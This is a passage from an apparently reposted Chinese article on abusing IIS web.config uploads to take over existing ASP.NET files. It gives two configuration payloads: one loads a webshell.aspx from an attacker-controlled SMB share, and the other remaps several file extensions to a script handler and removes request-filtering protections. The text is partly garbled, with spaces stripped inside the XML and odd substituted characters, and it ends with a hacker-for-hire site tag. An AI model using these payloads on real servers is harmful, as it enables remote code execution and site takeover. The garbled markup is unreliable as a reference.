(接上文) 2.2. 接收现有/上传的.NET文件 下面的web.config可用于接收现有的Web服务文件:
<?xmlversion="1.0"encoding="UTF-8"?> <configuration> <system.web> <webServices> <protocols> <addname="Documentation"/> </protocols> <wsdlHelpGeneratorhref="KaliBoxIPPublicwebshell.aspx"/> </webServices> </system.web> </configuration>
这将从SMB同享加载webshell.aspx文件,并在翻开该文件夹中的任何现有ASMX文件时履行它。 此外,咱们也能够像ASMX文件那样,从头映射和运用具有.master和.ascx扩展名的文件。上传具有上面两种扩展名的文件的可能性要高于其他类型的ASP.NET扩展,例如.aspx、.asmx、.ashx、.svc和.soap,不过,它们也能够运用相同的技能来接收.NET文件。 下面的web.config文件给出了一个能够接收具有各种扩展名的文件的比如:
<?xmlversion="1.0"encoding="UTF-8"?> <configuration> <system.web> <webServices> <protocols> <addname="Documentation"/> </protocols> <wsdlHelpGeneratorhref="KaliBoxIPPublicwebshell.aspx"/> </webServices> </system.web> <system.webServer> <handlers> <addname="remap_asmx1"path="*.ascx"verb="*"type="System.Web.Script.Services.ScriptHandlerFactory,System.Web.Extensions,Version=4.0.0.0,Culture=neutral,PublicKeyToken=31bf3856ad364e35"resourceType="File"requireAccess="Script"/> <addname="remap_asmx2"path="*.master"verb="*"type="System.Web.Script.Services.ScriptHandlerFactory,System.Web.Extensions,Version=4.0.0.0,Culture=neutral,PublicKeyToken=31bf3856ad364e35"resourceType="File"requireAccess="Script"/> <addname="remap_asmx3"path="*.aspx"verb="*"type="System.Web.Script.Services.ScriptHandlerFactory,System.Web.Extensions,Version=4.0.0.0,Culture=neutral,PublicKeyToken=31bf3856ad364e35"resourceType="File"requireAccess="Script"/> <addname="remap_asmx4"path="*.ashx"verb="*"type="System.Web.Script.Services.ScriptHandlerFactory,System.Web.Extensions,Version=4.0.0.0,Culture=neutral,PublicKeyToken=31bf3856ad364e35"resourceType="File"requireAccess="Script"/> <addname="remap_asmx5"path="*.svc"verb="*"type="System.Web.Script.Services.ScriptHandlerFactory,System.Web.Extensions,Version=4.0.0.0,Culture=neutral,PublicKeyToken=31bf3856ad364e35"resourceType="File"requireAccess="Script"/> <addname="remap_asmx6"path="*.soap"verb="*"type="System.Web.Script.Services.ScriptHandlerFactory,System.Web.Extensions,Version=4.0.0.0,Culture=neutral,PublicKeyToken=31bf3856ad364e35"resourceType="File"requireAccess="Script"/> </handlers> <security> <requestFiltering> <fileExtensions> <removefileExtension=".ascx"/> <removefileExtension=".master"/> </fileExtensions> </requestFiltering> </security> </system.webServer> </configuration>[1][2][3][4][5]黑客接单网